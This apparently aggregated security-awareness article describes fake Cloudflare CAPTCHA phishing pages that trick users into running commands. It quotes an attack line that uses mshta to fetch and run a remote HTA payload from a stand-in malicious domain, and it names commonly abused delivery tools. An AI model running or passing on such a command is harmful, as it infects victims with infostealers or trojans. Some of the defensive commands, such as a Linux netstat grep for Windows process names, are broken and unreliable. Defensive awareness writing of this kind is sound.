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Cybercriminals are using sophisticated phishing techniques, including fake CAPTCHA pages mimicking Cloudflare, to trick users into executing malicious commands. These scams often instruct victims to open the Windows Run dialog (Win + R) and enter commands like:
mshta http://malicious-domain[.]com/payload.hta
This command downloads and executes a malicious script, typically dropping an infostealer or other malware.
Key Red Flags to Watch For:
- CAPTCHA Asking for Command Execution – Legitimate CAPTCHAs never require running system commands.
- Suspicious Commands –
mshta,powershell,certutil, and `bitsadmin` are often abused for malware delivery. - Unusual Domains – Check URLs for misspellings, odd TLDs (e.g.,
.xyz,.top), or unexpected hosting regions.
You Should Know:
1. How Attackers Deploy Fake CAPTCHA Scams
- The phishing page mimics Cloudflare’s CAPTCHA verification.
- Users are prompted to “verify” by running a malicious command.
- The payload (
payload.hta) often: - Harvests credentials (browsers, email, VPNs).
- Deploys ransomware or remote access trojans (RATs).
2. Detection & Prevention
For Windows Users:
- Check Suspicious Processes:
Get-Process | Where-Object { $_.Name -match "mshta|powershell|wscript" } - Block Malicious Domains via Hosts File:
echo 0.0.0.0 malicious-domain[.]com >> C:\Windows\System32\drivers\etc\hosts
- Disable HTA Execution (Group Policy):
gpedit.msc > Computer Configuration > Administrative Templates > Windows Components > Microsoft HTML Applications > Disable
For Linux Users (Defensive Commands):
- Monitor Network Connections:
sudo netstat -tulnp | grep -E 'mshta|powershell'
- Inspect Downloaded Files:
file /tmp/suspicious-file.hta strings /tmp/suspicious-file.hta | grep -i "http|payload"
3. Incident Response Steps
If compromised:
- Isolate the System – Disconnect from the network.
2. Analyze Persistence Mechanisms:
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
3. Scan for Malware:
Get-MpThreatDetection | Format-Table -AutoSize
What Undercode Say
Fake CAPTCHA scams exploit user trust in security measures like Cloudflare. Attackers refine social engineering tactics, making even tech-savvy users vulnerable. Always:
– Verify URLs before interacting.
– Never execute commands from untrusted sources.
– Use endpoint protection (Windows Defender, CrowdStrike, etc.).
For deeper analysis, refer to:
Expected Output:
Awareness and proactive defense reduce infection risks. Stay vigilant against evolving phishing techniques.
Example Linux command to block malicious IPs sudo iptables -A INPUT -s 192.168.1.100 -j DROP
Windows command to log suspicious activities
Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 }
References:
Reported By: Activity 7312517402158624769 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
